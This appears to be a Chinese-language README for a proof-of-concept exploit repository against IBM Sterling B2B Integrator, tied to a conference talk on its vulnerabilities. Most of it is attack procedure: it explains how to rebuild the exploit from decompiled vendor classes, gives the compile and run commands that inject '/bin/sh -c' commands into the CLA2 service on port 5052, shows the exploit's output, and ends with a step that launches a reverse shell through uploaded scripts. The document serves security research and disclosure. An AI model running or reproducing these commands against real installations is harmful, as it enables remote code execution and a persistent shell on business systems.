针对 IBM Sterling B2B Integrator(版本 6.2.0.0 至 6.2.0.2 以及 6.0.0.0 至 6.1.2.5,适用于 Linux、Windows 和 AIX 系统)中发现的漏洞的利用概念验证代码:
有关这些问题的更多细节,请参阅我的 DistricCon 演讲《To B or not 2B: Breaking the IBM B2B Integrator with, and without authentication》:
https://www.districtcon.org/bios-and-talks-2025/to-b-or-not-to-b
本仓库中的大部分代码针对 LPE 命令注入攻击。
Python 二进制客户端 bin_client.py 可用于手动向 CLA2 发送消息,从而利用反序列化 RCE 漏洞。
$ java Main
$ Usage: Main <cmdLine> <outfile_or_SEND> [host] [port]
该 PoC 接受两个参数:
bin_client.py 等工具进一步分析/手动发送)的路径,或者字符串 "SEND"(立即发送至正在监听的 host:port)本仓库中包含的源代码故意不完整,因为需要 CLA2 子系统中的某些类。根据安装目录的文件系统权限,您可能能够访问 JAR 文件。
假设您已经通过 JAR 反编译获取了相关文件。这些文件不会上传到这里,因为它们属于 IBM 知识产权。
反编译 CLA2Client.jar
在反编译后的代码中,找到文件 CmdLine2Result.java 和 CmdLine2Parms.java
将它们复制粘贴到 Main.java 旁边,以重现原始应用程序 Java 包的目录结构
/src/com/sterlingcommerce/woodstock/services/cmdline2/
${B2BHOME}/INSTALL/jdk/bin/javac src/com/sterlingcommerce/woodstock/services/cmdline2/*.java
${B2BHOME}/appl/SFG/INSTALL/jdk/bin/java -classpath src/ com.sterlingcommerce.woodstock.services.cmdline2.Main '/bin/sh -c "id > /tmp/result"' SEND 127.0.0.1 5052
[+] 创建对象...
[+] 发送对象至 127.0.0.1:5052...
[+] ...已发送!
[+] 接收头部...
[+] ...头部已接收: RESULT
[+] 接收结果...
[+] 结果已接收:
##[DEBUG]## CmdLine2Result:
fileSize=0
outputNameLong=null
outputNameShort=null
******* CmdLine2Result 结束 *******
[+] clr.statusRpt: null
[+] clr.exceptionString: null
[+] clr.somethingToLog: CmdLine2Thread.runCommand: 执行前的命令行=/bin/sh -c "id > /tmp/result"
##[REMOTE DEBUG]## parm0=/bin/sh
##[REMOTE DEBUG]## parm1=-c
##[REMOTE DEBUG]## parm2=id > /tmp/result
revshell.py 和 revshell_listener.py 脚本上传到目标系统,并启动监听器。然后,将 PoC 的命令参数替换为对反向 Shell 脚本的调用,如下所示:${B2BHOME}/INSTALL/jdk/bin/java -classpath src/ com.sterlingcommerce.woodstock.services.cmdline2.Main 'python3 /tmp/revshell.py 9090' SEND